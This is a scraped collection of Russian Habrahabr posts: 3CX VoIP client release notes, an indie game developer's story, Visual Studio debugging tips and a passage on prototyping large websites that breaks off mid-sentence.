['3cx', 'android', 'ios', 'macos', 'voip', 'gsm', 'callkit', 'g729']
C удовольствием представляем новые версии наших функциональных клиентов унифицированных коммуникаций для iOS, Android и Mac OS! 3CX клиент для iOS с интеграцией CallKit В новом клиенте 3CX для...
C удовольствием представляем новые версии наших функциональных клиентов унифицированных коммуникаций для iOS, Android и Mac OS! 3CX клиент для iOS с интеграцией CallKit В новом клиенте 3CX для iOS появилась замечательная возможность – управлять VoIP вызовами точно так же, как GSM вызовами — непосредственно с экрана блокировки. Это сделно с помощью фреймворка Callkit, который появился в iOS 10. VoIP вызовы через клиент 3CX для пользователя выглядят как GSM вызовы – они отображаются на экране блокировки и в истории вызовов iOS устройства. Благодаря этому 3CX клиент еще глубже интегрирован в пользовательский интерфейс iOS. Новый клиент 3CX для iOS позволяет удобно переключаться между GSM и VoIP вызовами. Например, если вы разговариваете через клиент 3CX и в этот момент получаете GSM вызов, вы можете поставить VoIP вызов на удержание. Вы также можете не принимать GSM вызов, а отклонить его или отправить на голосовую почту. → Полный журнал изменений доступен здесь → Скачайте наш новый 3CX клиент для iOS 3CX клиент для Android с уведомлениями на экране блокировки Мы также выпустили новый 3CX клиент для Android. В нем появилась долгожданная поддержка голосового кодека G729 и управление вызовами с экрана блокировки. Список основных улучшений в клиенте: Обновленный пользовательский интерфейс Ответ на вызов с экрана блокировки Голосовой кодек G729 для использования в сетях с узкой полосой пропускания или большими задержками Смена вашего статуса по нажатию на фото в верхней части интерфейса Уведомление о пропущенном вызове в строке уведомлений и на экране блокировки При нажатии на фон за вашей фотографией (в верхней части интерфейса) появляется клавиатура для набора номера Улучшено качество звука при использовании приложения в фоновом режиме Убрана иконка статуса пользователя в строке уведомлений для экономии заряда батареи Исправлены ошибки при поиске в интерфейсе сообщений, в адресной книге и на экране присутствия Исправлена ошибка, вызывавшая сбой приложения при автонастройке Исправлена ошибка, приводящая к аварийному завершению работы клиента Удалены ненужные сообщения, возникавшие на экране блокировки Отметим, что вскоре ожидаются уведомления о сообщениях чата (в панели уведомлений Android), о которых неоднократно просили наши клиенты. → Полный журнал изменений доступен здесь → Скачайте наш новый 3CX клиент для Android Обновление клиента 3CX для MacOS Перед самыми праздниками мы обновили и наш 3CX клиент для MacOS! Среди улучшений в клиенте можно отметить поддержку голосового кодека G729, который теперь включается в консоли управления 3CX, и исправление ошибки сети, возникавшее в MacOS Sierra. Список основных улучшений в клиенте: Поддержка MacOS Sierra (для этого необходимо обновление сервера 3CX до версии V15 SP4) Голосовой кодек G729 Улучшена автонастройка клиента Возможность указывать метод передачи DTMF в консоли управления 3CX Возможность указывать приоритет голосовых кодеков в консоли управления 3CX → Полный журнал изменений доступен здесь Новый клиент 3CX для MacOS имеет смысл устанавливать, если у вас уже работает сервер 3CX V15 SP4: Перейдите в консоль управления 3CX В верхнем меню нажмите кнопку Обновления, перейдите в раздел Клиенты 3CX и загрузите клиент Сервер передаст уведомления об обновлении всем пользователям системы При следующем запуске или перезапуске клиента, пользователь получит уведомление о доступности обновления. После согласия пользователя, обновление будет установлено автоматически. → Вы также можете скачать новый клиент 3CX для MacOS вручную отсюда Дополнительная информация Скачайте бесплатную версию 3CX V15 отсюда Руководство пользователя 3CX
https://habrahabr.ru/company/3cx/blog/318654/
habrahabr
От геймера до разработчика игры
['game development', 'indiegogo', 'indie', 'история', 'horror', 'platformer', 'unity', 'the woken shadow', 'frozmat games']
Всем привет! Меня зовут Денис, я ж иву в городе Архангельск. Хочу поделиться необычной историей, как из обычного геймера стал разработчиком игры. На данный момент создан простой уровень и...
Всем привет! Меня зовут Денис, я ж иву в городе Архангельск. Хочу поделиться необычной историей, как из обычного геймера стал разработчиком игры. На данный момент создан простой уровень и введены основные элементы механики игры. Предлагаю ознакомительный 20-секундный ролик. «Да, мой герой похож на Рагнара, в полной версии будет другая внешность» Да, сейчас есть готовый прототип игры «Forging Destiny: HROFT» с простейшей графикой, в котором реализованы: • 4 вида врагов, у каждого из которых своя манера боя; • герой с обычной атакой и суперударами, блоком, отскоками и кувырками; • озвучка всех персонажей, окружения и эффектов; • система боя. Дело в том, что я создал этот прототип, не являясь ни программистом, ни аниматором, ни художником. Я не из богатой семьи, моя работа не связана с играми и зарплата 18 тыс. рублей. По моему примеру каждый сможет так сделать, но не каждый будет так делать. У нас у всех свой путь, главное стремиться к цели, а не заниматься вечным мыслительным процессом. «Этот арт, художник рисовал 70 часов, бесплатно, специально для проекта» В начале пути 3 года назад загорелся желанием создать игру. Искал энтузиастов для разработки этого проекта. Но, как оказалось, легче найти иголку в стоге сена, чем таких людей. Сам учился программировать, рисовать и анимировать. Мне это давалось особенно сложно, так как все эти программы для меня были абсолютно не известны. «Учился программировать на GM» После шести месяцев ежедневного труда перегорел, так как делал все в одиночку (понимаю тех людей, которые создают свои проекты одни, это реально железные люди). «Рисовал в Photoshop'e, анимировал в Anime Studio „ Через некоторое время желание создать игру опять взяло верх. Но решил идти другим путем – нанять фрилансеров. Так как денег не было, начал поиски инвесторов. Писал успешным предпринимателям, у которых есть свои группы в ВК и каналы на YouTube. Написал более 60 инвесторам и на 12-ый день поисков нашел заинтересованных людей. Обсуждали проект с ними около месяца, и они оценили только маркетинг в 5 000 000 рублей. К такой сумме они не были готовы, поэтому отложили проект «до лучших времен». “Это малая часть плана уровней» Я был огорчен их отказом, но сдаваться не собирался, так как за 3 года расписано по игре уже более 100 страниц документации: все враги, их поведение, расчерчены все уровни, написан очень мощный сюжет. Хочу подарить игрокам настоящий драйв от самого боя и от приключений, встречающихся на уровнях. Поэтому начал искать другой путь для реализации проекта. Взял кредит 120 000 рублей на создание прототипа, чтобы показать игрокам, что вообще создаю, а после этого запустить краудфандинг. «Это удар можно будет делать в самой игре» Планировал игру для мобильных платформ, но, не зная, как потом раздавать ключи сделавшим предзаказ, переключился на разработку для ПК, потому что в Steam’е это сделать намного проще. «Бой героев против друг друга» «Совместное прохождение героев» Проводил более 40 собеседований по скайпу на должности программиста, художника и аниматора, и случилась одна интересная вещь. По итогам пробного задания те люди, которые запрашивали большую цену, иногда выполняли задание хуже, чем те, у которых цена за услугу была ниже. Поэтому нужно проводить минимум 5 собеседований на одну должность. Сначала рисовали 2D персонажей, но потом перешли на 3D модели, потому что анимировать их намного проще. Соответственно пришлось менять фон. «Трансформация героя» «Пришлось менять и фон» К своему сожалению я слишком поздно узнал, что такое Asset Store. Этот ресурс серьезно сэкономил бы мой бюджет. Разработка игры – это всегда испытание, всегда приходится искать компромисс. Тянуть на себе всю работу я никому не советую. Обязательно нужна команда хотя бы из двух человек, чтобы было с кем обсудить ту или иную идею. Для поддержки проекта я завёл группу в вк, в которой вместе с подписчиками обсуждали проект. Они хорошо помогали морально (что не мало важно) и информационно. Сейчас прототип готов, он понравился большому числу игроков и для меня идёт следующее испытание, это краудфандинг. Прошло уже 4 дня, а мне уже есть что рассказать, но об этом в следующем статье.
https://habrahabr.ru/post/318656/
habrahabr
11 советов, которые помогут сэкономить время при отладке программ
['дебаггинг', 'отладка', 'программирование', 'visual studio']
Программирование — это не только когда пишешь код, запускаешь его и удовлетворенно наблюдаешь за его безупречной работой, ведь зачастую он работает совсем не так, как мы рассчитываем! Возникает...
Программирование — это не только когда пишешь код, запускаешь его и удовлетворенно наблюдаешь за его безупречной работой, ведь зачастую он работает совсем не так, как мы рассчитываем! Возникает необходимость в эффективной отладке приложений, а это, оказывается, целое искусство! В данной статье я привожу свой собственный список советов, которые, как я надеюсь, помогут вам в отладке нативного кода. Оригинальная статья была написана Bartlomiej Filipek и опубликована в его блоге . Вспомогательные средства Каждый программист должен знать, как запускать отладчик, устанавливать контрольные точки, возобновлять исполнение кода, выполнять вход и выход из функций (используя клавиатуру!). Вот несколько простейших советов по облегчению процесса отладки на основе базовых приемов. 1. Добавляйте информацию о местоположении ошибки к отчету отладчика (LinePos) Независимо от своего уровня мастерства вы наверняка по-прежнему пользуетесь одним из основных методов отладки: отслеживаете те или иные значения с помощью функций и макросов printf , TRACE , outputDebugString и т.д. и сверяетесь с отчетом отладчика. В Visual Studio можно проделать один интересный трюк, который позволяет быстро переходить из окна вывода к конкретной строке кода. Для этого нужно лишь задать следующий формат вывода: "%s(%d): %s", file, line, message Однако помните, что значения file и line нужно брать в соответствии с их действительным положением в исходном файле, а не в регистрирующей функции, так что вам, вероятно, понадобится макрос наподобие этого: #define MY_TRACE(msg, ...) MyTrace(__LINE__, __FILE__, msg, __VA_ARGS__) // usage: MY_TRACE("hello world %d", 5); Обратите внимание, что __LINE__ и __FILE__ являются стандартными ANSI-совместимыми предопределенными макросами препроцессора, которые могут быть распознаны компилятором. См. Predefined Macros, MSDN . Также не забывайте пользоваться функцией OutputDebugString , чтобы сообщение показывалось в окне вывода, а не в консоли. Теперь при появлении некоторого сообщения в окне вывода VS можно, дважды щелкнув на нем мышью, перейти к указанному файлу и строке. Таким же образом можно работать с предупреждениями или сообщениями об ошибках во время компиляции. Однажды я получил сообщение об ошибке, но не мог определить точное местоположение ее в коде, отчего потерял уйму времени. В тот раз мне надо было найти строку, а это долгий и трудоемкий процесс. Описанный же способ перехода к коду по двойному щелчку позволяет сделать это за считанные миллисекунды. Кстати, если у вас другая IDE (не Visual Studio), есть ли в ней такая возможность? Отпишитесь в комментариях, мне было бы интересно узнать. А вот простой пример кода, на котором можно опробовать описанный прием: github.com/fenbf/DebuggingTipsSamples . Обновление: как указал jgalowicz в своем комментарии, если вы хотите, чтобы имена файлов выводились в сокращенном виде, сделайте макрос __SHORT_FILE__ : подробности реализации см. в заметке в его блоге . Впрочем, в Visual Studio опция компилятора /FC по умолчанию отключена, так что обычно выдаются как раз сокращенные имена файлов (относящиеся только к директории решения). 2. Заведите простую статическую переменную для управления той или иной опцией // change while debugging if needed static bool bEnableMyNewFeature = true; Функция Edit And Continue в Visual studio — очень мощный инструмент, но можно обойтись и упрощенной, «ручной» ее версией. Она не настолько изящна, но свою задачу выполняет. Нужно всего лишь завести статическую переменную, с помощью которой вы будете управлять той или иной опцией программы. Для этого можно использовать обычный булев флаг или переменную целочисленного типа. Во время отладки значение этой переменной можно менять, что позволит вам исследовать работу опции без перезапуска или пересборки программы. Как изменять значение во время отладки? Перейдите к окну слежения за переменными ( Watch window ) или просто поводите курсором над переменной — должно появиться поле редактирования, в котором можно задать нужное значение. И не забудьте отключить/убрать эту ужасную переменную в финальных сборках и коммитах! 3. Условные контрольные точки Надеюсь, вы и так пользуетесь условными контрольными точками, но я все же хочу вкратце рассказать об основных способах их применения. Как следует из названия, работа отладчика в этих точках приостанавливается при выполнении некоторого условия (достаточно простого). Один маленький совет: напишите свою собственную контрольную точку, если вам требуется исследовать работу некоторого участка кода более подробно. См. список выражений, применяемых в условиях: msdn: Expressions in the Debugger Но это еще не все. Как вы, должно быть, заметили на скриншоте, существует еще одно полезное условие для контрольной точки: «Hit count». С его помощью можно задать число событий, после которого контрольная точка будет активирована. Эта опция очень полезна, когда вам надо отследить какое-то динамическое событие или множество объектов. 4. Не заходите в функции, которые не хотите исполнять Сколько раз вы были вынуждены заходить в конструктор строкового типа, чтобы затем быстро выйти из него? Или во множество мелких/библиотечных функций, прежде чем вы могли добраться до нужного метода? В большинстве случаев это пустая трата времени. Посмотрите на этот пример: void MyFunc(const string &one, const string &two) { auto res = one + two; std::cout << res << "\n"; } .... MyFunc("Hello ", "World"); А теперь попробуйте зайти в вызов функции MyFunc() ,нажав Ctrl+F11 . Куда же перейдет отладчик? Вот что происходит у меня: Более того, если выйти из этого конструктора и снова зайти в него… то попадешь в конструктор второго параметра. А теперь представьте, что будет, если таких параметров несколько. С ума сойдешь, пока доберешься до нужного метода! Как правило, подобные нежелательные методы лучше отфильтровывать: вряд ли проблема кроется в конструкторе std::string :) Как же отфильтровать эти базовые функции? Начиная с версии 2012, в VS достаточно отредактировать файл default.natstepfilter . О способах фильтрации функций в более ранних версиях VS см. здесь: How to Not Step Into Functions using the Visual C++ Debugger . Там придется повозиться со значениями реестра. В качестве дополнительного стимула сообщу, что в Visual Assist есть такая же опция и работать с ней гораздо проще. В режиме отладки отображается окно VA Step Filter : просто поставьте или уберите в нем галочку напротив нужного метода из списка найденных методов. Эти настройки можно применять как глобально, так и локально для данного проекта. Настройки фильтрации в VA являются пользовательскими и не могут быть добавлены в файл default.natstepfilter . 5. Добавляйте вспомогательные переменные для объектов в режиме отладки Чем больше данных, тем лучше! Нежелательные сообщения всегда можно отфильтровать, а вот получить данные из ничего нельзя. В зависимости от конкретных целей может быть полезно завести несколько вспомогательных переменных в объектах: при отладке эти переменные могут сообщить очень ценную информацию или просто облегчить процесс работы. Например, при работе с древовидными структурами вам, вероятно, часто потребуется проверять элементы pNext и pPrev . Эти указатели обычно помещаются в какой-нибудь базовый класс вроде TreeNode , и, если вас интересует MyTreeNode , который находится тремя уровнями ниже в иерархии классов, проверять каждый раз pNext может быть довольно утомительно. А что если обновлять MyTreeNode , добавляя в него данные из pNext ? Тогда не надо будет проходить каждый раз по всем уровням иерархии, чтобы проверить этот элемент. У описанного метода, правда, есть один недостаток: нужно как-то фиксировать это обновленное состояние. Значение pNext может легко измениться, так что придется реализовать дополнительную логику, чтобы синхронизировать эти изменения. Впрочем, хоть это и справедливо для большинства случаев, для задач отладки сойдет и менее изящное и эффективное решение. Приведу пример. Мне часто приходится работать с древовидными структурами, представляющими текстовые объекты. Текстовый объект содержит строки, а строки — символы. Проверять каждый раз, в какой строке я в данный момент нахожусь (т.е. какой текст в ней содержится), было очень утомительно, поскольку приходилось возвращать первый символ строки, а затем смотреть значение по указателю pNext , чтобы узнать второй символ и на основании этих двух символов смотреть, что же это за строка. Как упростить этот процесс? Я просто завел переменную strLine и добавил ее к Line и периодически обновляю ее. Пусть это и несовершенный источник информации (данные теряются, если символ добавляется или удаляется за один фрейм, но в следующем фрейме они все равно появляются), но, по крайней мере, я могу быстро узнать, в какой строке я в данный момент нахожусь. Вот так просто! И времени можно сэкономить немало. 6. Пишите собственные отладочные визуализаторы Это обширная тема, которую я лишь кратко представлю здесь: Если вам не нравится, как отображаются объекты в отладчике, попробуйте написать собственные визуализаторы. Debug Visualizers in Visual C++ 2015 В VS2015 даже появился новый встроенный шаблон, который можно найти в файле Project → Add New Item → Visual C++ → Utility → Debugger visualization file (.natvis) . Приемы отладки На основе базовых приемов отладки можно построить более сложные. 7. Приходится проверять много объектов? Если некоторый код вызывается для множества объектов, проходить через все эти объекты и построчно проверять их очень проблематично. А что если использовать уникальное значение какого-нибудь поля в качестве подсказки о том, где искать ошибку? Для этого можно создать условную контрольную точку, в которой это значение будет сравниваться с некоторым диапазоном. Чем этот диапазон меньше, тем лучше. Пример: мне часто приходилось отлаживать код, перебирающий все символы в документе. С одним (специальным) символом возникли проблемы. Отлаживать все символы по отдельности невозможно, но я знал, что этот конкретный символ отличался от прочих размером ограничивающей рамки, так что я задал условную контрольную точку, в которой проверялось значение width , благодаря чему я смог получить доступ к этому символу (условие width > usual_char_width ). Данному условию отвечали только два или три элемента, так что я быстро разобрался с ошибкой. Вообще говоря, чем уже такие диапазоны, тем лучше: не придется проверять десятки или сотни мест. 8. События мыши Отладка событий мыши особенно затруднительна, ведь большинство таких событий исчезают при остановке отладчика! Отладка щелчков мыши обычно не представляет сложностей. Например, если необходимо проверить, какой код был вызван по щелчку мыши на некотором объекте, нужно просто создать контрольную точку на входе в метод OnClick / onMouseDown . А как насчет перетаскивания объектов? При остановке отладчика состояние перетаскивания теряется. В таких ситуациях можно попробовать следующие приемы: Используйте старый добрый trace / printf . При перетаскивании выдается множество сообщений, которые помогут разобраться в происходящем без необходимости прерывать исполнение кода. Этот способ подходит для краткосрочных операций перетаскивания, потому что иначе на выходе будет слишком много данных. Имея такую информацию, можно локализовать проблему и вернуться к ней позже. Устанавливайте условные контрольные точки в тех местах, которые требуют проверки. Например, при вращении объекта он может неожиданно изменить положение, и вам надо разобраться, почему это происходит. Для этого вы создаете контрольные точки при входе в члены, отвечающие за положение объекта, что дает вам возможность изучить их. При остановке отладчика состояние вращения потеряется, но, прежде чем это произойдет, вы сможете определить потенциальное местоположение проблемы в коде. Еще один способ — использовать условие obj_rot > some_meaningful_value. Перетаскивание объектов часто происходит во время их копирования. В этом случае по завершении операции копирования оригинальным объектам присваивается соответствующий статус. Что если установить контрольную точку, в которой проверялись бы только оригинальные объекты? Или реализовать особое состояние, сигнализирующее об операции перетаскивания ? В таком случае отладчик остановится по завершении этой операции. 9. Создавайте отладочные визуализаторы и прочие инструменты Этот совет предполагает дальнейшее развитие приема с созданием простых вспомогательных переменных. Если вы работаете со сложными объектами, хорошо иметь средства, которые могли бы более эффективно отслеживать данные. Базовый набор подобных средств можно найти в Visual Studio и любой другой IDE или отладчике, но, поскольку все проекты разные, лучше разрабатывать собственные решения. Такая ситуация, как мне кажется, типична для игр. Можно, например, создать дополнительный слой интерфейса и включать его во время игры, чтобы увидеть игровую статистику, сведения о производительности и потреблении памяти. Количество отображаемой информации ограничивается только вашими потребностями. Так что я настоятельно рекомендую уделить время созданию таких инструментов. Прочее 10. Отладка в режиме Release Release-сборки работают быстрее, поскольку практически все оптимизации кода уже включены. Однако ничто не мешает проводить отладку и в этом случае. Как именно это можно реализовать? Нужно сделать следующее (для VS 2013 или VS 2015): Установить опцию Debug Information Format в /Z7 (формат совместимости с C7) или /Zi (формат базы данных программы). Установить опцию Enable Incremental Linking в «нет» Установить опцию Generate Debug Info в «да» Установить опцию References в /OPT:REF , а Enable COMDAT Folding в /OPT:ICF 11. Ускоряем отладочную сборку! В случае медленной работы отладчика проверьте опцию Tools → Options → Debugging → General → «Require source files to exactly match the original version» . Узнал про нее здесь . Отключите кучу отладки ( Debug Heap ) — актуально для версий младше VS 2015. О том, что это такое, можно прочитать в одной из моих предыдущих статей: Visual Studio slow debugging and _NO_DEBUG_HEAP . К счастью, в VS2015 куча отладки отключена по умолчанию, так что проблем с этим у вас не должно возникнуть. Ограничьте загрузку файлов отладочных символов. Этот прием позволяет сократить количество загруженных файлов символов, что ускорит запуск программы. Подробности см. здесь: Understanding symbol files and Visual Studio's symbol settings Заключение В этой статье я привел 11 советов, которые помогут вам ускорить процесс отладки программ. Какие из них наиболее ценны? Пожалуй, это пункты про условные контрольные точки, отладку множества объектов и ускорение отладочной версии. Тем не менее, остальные советы тоже важны, так что я затрудняюсь расположить их в каком-то определенном порядке. К тому же в зависимости от конкретных задач часто приходится отдавать предпочтение разным приемам. Более того, этот список явно не полон — существует еще множество других приемов и практик. Возможно, вам тоже есть что добавить? Пользуетесь ли вы какими-то особыми приемами при отладке приложений? Прибегаете ли вы к помощи пользовательских инструментов? Дополнительные ресурсы Debugging: The 9 Indispensable Rules for Finding Even the Most Elusive Software and Hardware Problems Advanced Windows Debugging Debug It!: Find, Repair, and Prevent Bugs in Your Code Using Breakpoints, MSDN Navigating through Code with the Debugger, MSDN 10 More Visual Studio Debugging Tips for Native Development, Marius Bancila, CodeProject VA Step Filter, Visual Assist VC Team Blog: The Expression Evaluator VC Team Blog: Make Debugging Faster with Visual Studio
https://habrahabr.ru/company/pvs-studio/blog/318658/
habrahabr
Серьезное проектирование серьезных сайтов. Часть 2. Визуализация
['Проектирование', 'проектирование интерфейсов', 'динамический прототип', 'реальный контент', 'Customer Journey Map', 'сценарии поведения', 'Use Case', 'QA', 'техническоое задание', 'юззабилити тесты']
Это вторая часть статьи про проектирование больших сайтов. В ней мы расскажем про визуальную часть проектирования, про интерфейсы. Если вы не читали первую часть, то рекомендую это сделать...
Это вторая часть статьи про проектирование больших сайтов. В ней мы расскажем про визуальную часть проектирования, про интерфейсы. Если вы не читали первую часть, то рекомендую это сделать тут . Динамический прототип Рис. 9. Демонстрация динамического прототипа для проекта «Маркетплейс». На этом этапе мы переходим от аналитики к интерфейсам, к визуальной части. На основе Mind map необходимо спроектировать интерфейсы для каждой функции и страницы. Таких интерфейсов у нас будет много, от нескольких десятков до нескольких сотен уникальных прототипов, а еще есть раскадровки, когда одна страница может иметь ряд состояний, всплывающих окон, выпадающих блоков и т.д. В процессе все прототипы объединяются в один большой динамический прототип и связываются между собой. В статье будет много картинок. Хабр, к сожалению, не разрешает загружать большие картинки, поэтому их можно посмотреть в полной версии статьи на нашем сайте . На этом этапе мы переходим от аналитики к интерфейсам, к визуальной части. На основе Mind map необходимо спроектировать интерфейсы для каждой функции и страницы. Таких интерфейсов у нас будет много, от нескольких десятков до нескольких сотен уникальных прототипов, а еще есть раскадровки, когда одна страница может иметь ряд состояний, всплывающих окон, выпадающих блоков и т.д. В процессе все прототипы объединяются в один большой динамический прототип и связываются между собой. Делается это с помощью программы Axure RP или другой, их довольно много сегодня, в том числе онлайн-сервисы. Хотя лучше Axure мы за долгие годы работы пока не нашли. Некоторые пытаются проектировать в Photoshop — это в основном дизайнеры, а не проектировщики, которые методологию проектирования используют лишь частично. Photoshop и ряд других программ не позволяют делать динамические прототипы, да и банально долго проектировать в Photoshop. Нам нужна динамика, чтобы подумать над каждой кнопочкой и ссылочкой. Сразу скажу, что красивые картинки, не собранные в динамический прототип, в том числе просто дизайн без проектирования, это первый гвоздь в гроб проекта. Мы попросту не сможем проверить работу на логические ошибки перед тем, как отдать на следующий этап, и будем вынуждены переделывать после. А классика разработки, наверное, самая известная книга «Совершенный код» нам очень наглядно показывает, как на разных стадиях исправление ошибки будет повышаться от 1$ до 10000$. Мы должны планомерно идти по нашей Mind map и проектировать страницу за страницей. Axure слева может показывать оглавление, там мы называем страницы, делаем вложенности и нумеруем все в формате: «1.0.0», «2.0.0», «2.0.1» и т.д. Это не даст нам запутаться, когда у нас будет несколько десятков страниц. Также важно стараться проектировать целыми разделами, а не выборочно несколько страниц в одной части проекта, а потом несколько страниц в другой. Сложнее всего спроектировать первый макет. На нем делают некоторые базовые элементы, которые будут видны на всем сайте, например, шапка сайта, меню, подвал, формы и т.д. Такие элементы нужно проектировать первыми и загонять в мастера в Axure. Начинать можно именно с этих блоков, так будет проще. После, когда мы настроили модульную сетку и спроектировали первые блоки, можно проектировать и основное содержание страницы. Для этого мы сначала выписываем список блоков, которые будут на страницы, затем примерно накидываем их расположение на странице, а затем детализируем каждый из блоков. Есть еще много правил юзабилити , которые нужно учесть, это все должен знать опытный проектировщик. Также стоит думать о целевой аудитории, накладывать опыт ЦА на каждый проектируемый нами интерфейс, ведь все их мы делаем для определенной группы людей, а не для себя. Обычно мы начинаем проектировать либо с главной страницы, либо со страницы товара, либо со страницы профиля пользователя. Все зависит от того, какой тип проекта мы делаем. В любом случае страница должна быть основополагающей для всего сайта, все будет крутиться в проекте вокруг этой страницы. Проектируя любую из страниц очень полезно смотреть на хорошие юзабильные сайты со сходным функционалом и, конечно, на конкурентов. Они натолкнут на много полезных идей. С одной стороны, люди любят то, к чему привыкли, и некоторые решения нам придется повторить у конкурентов, с другой стороны, копировать нельзя, ведь наша задача сделать лучше, чем у них. Интерфейсы мы проектируем черно-белыми не зря, чтобы не расставлять неправильных акцентов. Цветовые акценты — это дело дизайнеров, а не проектировщиков. Про влияние цвета в дизайне мы писали отдельную большую статью: Манипуляции пользователями сайта с помощью цветов . Также не стоит использовать реальные фотографии, вместо них мы ставим заглушки определенного размера. Задача проектировщика расставить акценты без вспомогательных инструментов, исключительно удобством самого интерфейса, его логической последовательностью. Многие начинающие проектировщики и дизайнеры часто прибегают к использованию цветов в проектировании и могут загубить все этой идеей. Все макеты нужно обсуждать с владельцем продукта и командой. Дизайнеру спроектированный макет еще предстоит рисовать, верстальщику верстать, а программисту — программировать. А сам владелец продукта с этого проекта хочет заработать. И у каждого будут правки, которые повлияют на их работу, часто упростят и ускорят её. Именно по этой причине важно внутреннее утверждение командой и внешнее владельцем продукта. Кстати, обсуждать с владельцем продукта проект или его часть часто приходится с командой, много дискутируя по тем или иным идеям. После создания всех страниц их нужно соединить их воедино. Для этого мы делаем динамику с помощью внутренних инструментов Axure, соединяя все страницы ссылками, делая всплывающие окна, выпадающие списки и т.д. Важно также забить в прототип реальный контент, чтобы максимально его приблизить к живому сайту. Так мы оживляем прототип, и у нас появляется возможность проверить логику его работы и даже показать реальным пользователям для получения первой обратной связи. Пример такого прототипа в динамике мы показывали в статье, в которой описано проектирование аналога Alibaba.com — более 200 уникальных прототипов , и это еще упрощенная версия. Отдельно проектируется адаптив, чтобы на всех устройствах и разрешениях экранов сайт отображался корректно. Сегодня в мире более половины всех пользователей посещают сайты с мобильных устройств, так что адаптив — это давно не мода. По сути, адаптив — это несколько разных вариантов сайта, которые отображаются пользователям в зависимости от его устройства. Пользователь этого не знает, но технически мы должны спроектировать несколько отдельных версий. Минимум их должно быть три: 320 px., 768 px. и 1200 px. Реже делаются еще варианты под 420 px. и 960 px. Чем меньше экран, тем меньше функционала должно быть в прототипе, то есть для маленьких экранов мы делаем упрощенные варианты. Как альтернатива, можно не проектировать адаптив, а оставить его на этап верстки, на усмотрение верстальщика — это значительно дешевле, но и качество пострадает. Примеры других больших спроектированных проектов, которые мы делали за последние 5 лет, правда, покажем мы их без динамики: Образовательный сервис (2016) Универсальный маркетплейс (2016) Сайт торгового центра + магазин (2016) Логистический сервис (2016) Мобильное приложение бьюти сферы (2016) Сервис звонков на основе IP (2016) Сервис Push уведомлений (2016) Корпоративный сайт вертолетной компании (2016) Маркептлейс пищевой промышленности (2016) B2b интернет-магазин гаджетов (2016) Интернет-магазин контактных линз (2016) Портал по недвижимости (2015) Социальная сеть + интернет-магазин (2015) Интернет-магазин подарков (2014) Социальная сеть владельцев домашних животных (2013) Социальная сеть профессиональных спортсменов (2013) Социальная сеть фотографов (2012) Сообщество владельцев Mazda в России (2012) Интернет-гипермаркет бытовой техники (2012) В общем, за последние несколько лет мы проектировали почти все, что только можно, тут далеко не полный перечень проектов. Технология проектирования универсальная и довольно близка к стандарту ISO 9241-210 «Human-centered design for interactive systems». Другими словами, это то, чем пользуются во всем мире, и оно отлично работает! Для иллюстрации слов еще несколько прототипов разных проектов: Рис. 10. Прототип социальной сети с элементами электронное коммерции Рис. 11. Протопит сервиса Пуш уведомлений Рис. 12. Прототип образовательного сервис Рис. 13. Прототип сервиса звонков. Рис. 14. Прототип автомобильного журнала. Рис. 15. Прототип маркетплейса. У опытного проектировщика всегда есть огромное количество наработок в динамике, поэтому он может создавать подобные прототипы в разы быстрее. Это целые библиотеки элементов, блоков и даже стандартных страниц. В конце этого этапы мы получим полный динамический прототип сайта и сможем его протестировать, чтобы убедиться, что мы все правильно продумали, и в проекте нет логических дыр. Детализация всех макетов интерфейса избавит нас от бесконечной переделки на следующих этапах. Эта самый объемный этап из всех. Реальный контент Рис. 16. Демонстрация реального контента для проекта «Маркетплейс». Кто-то из известных проектировщиков сказал: «Проектирование — это во многом копирайтинг». Проектируя с 2007 года, я много раз в этом убеждался на собственном опыте. Недостаточно сделать красивую картинку и наполнить её шаблонным текстом «Lorem Ipsum», так у нас на этапе наполнения сайта начнут блоки плыть, текст не вмещаться, захочется еще что-то вставить и т.д. Для начала нужно продумать все заголовки на каждой странице, от общего заголовка всей страницы до каждого мелкого блока. И они должны быть реальными, как на живом сайте. Это делает проектировщик, хотя можно привлечь и копирайтера. Все заголовки должны быть простые, понятные и короткие. Вторым этапом нужно набить страницы реальным текстовым контентом, который будет использоваться на живом сайте. Так мы убедимся, что все помещается и учтено. Все тексты должны разрабатываться профессиональными копирайтерами, проектировщик их только вставляет. Также стоит утвердить каждый готовый интерфейс с маркетологом. Можно зайти с любой стороны: сначала контент, потом меняем под него проектирование. Или сначала проектирование, потом под него подстраиваем контент. Главное его учесть. В конце этого этапа наш прототип должен выглядеть почти как готовый сайт, только без цветов. Сценарии поведения и Customer Journey Map Прототип создан, и он выглядит, как живой сайт. Но каким бы опытным не был проектировщик, все в голове не удержишь, и в прототипе будут ошибки, прежде всего, неявные, логические ошибки. Для их нахождения нужно разработать сценарии поведения и Customer Journey Map, а после прогнать наш динамический прототип по ним и найти основные недочеты. Смысл в том, что поведение каждого человека можно спрогнозировать. Хотя бы по основным шагам. Для основных групп пользователей мы должны создать сценарии поведения на сайте, которые покажут основные его шаги. Такие сценарии могут быть, как маленькими, в рамках одной страницы (Use Case), чтобы протестировать на логические ошибки отдельный кусок работы, так и большими, решение какой-то задачи в рамках сайта и его нескольких страниц. Важно покрыть такими сценариями весь сайт, все основные функции. Рис. 17. Use Case для проекта «Маркетплейс». Customer Journey Map — тоже сценарий поведения, его особый вид. В целом это маркетинговая технология, которую очень удобно применять для проектирования. Мы должны спланировать и затем отслеживать все шаги клиента до того, как он попал на сайт, и после того, как его покинул. По- настоящему, каждый пользователь приходит на сайт из разных мест и с разными ожиданиями. Кто-то идет целенаправленно купить наш продукт и все о нем знает, а кто-то случайно попал на сайт из социальных сетей. Также есть и история жизни человека после сайта. Например, когда он воспользовался нашим продуктом, и он ему понравился / не понравился, он может что-то дальше сделать в зависимости от своего опыта. Построив такие Customer Journey Map, мы сможем подготовиться к любым событиям до и после сайта, сможем сделать пользователя лояльным и встроить его в мультиканальную коммуникацию с проектом. Это мы должны сделать для реальных клиентов, тех, кто платит (будет платить) нам деньги. В принципе, CJM можно подготовить еще в этапе аналитики и учесть идеи до прототипирования, а на этом этапе только перепроверить себя. Рис. 18. Customer Journey Map для проекта «Маркетплейс». Метод важен не только на этапе проектирования, но и в живом проекте. На этапе проектирования мы можем только догадываться, а уже в работающем проекте есть возможность постоянно задавать вопросы покупателям и точно знать их шаблоны поведения. Также не забываем, что при разработке Customer Journey Map следует учесть воронку продаж, определить цели на каждом этапе воронки, выделить точки взаимодействия, особенно те, которые касаются или могут касаться сайта, и выделить KPI, чтобы понимать, чего нам нужно добиться от наших покупателей, а в конце выделить проблемные места и улучшить их. Это то самое слабое звено, устранив которое, вся система заработает лучше. Например, нашей целью может быть увеличение среднего чека покупателя путем допродажи ему сопутствующих услуг. Вот купил он 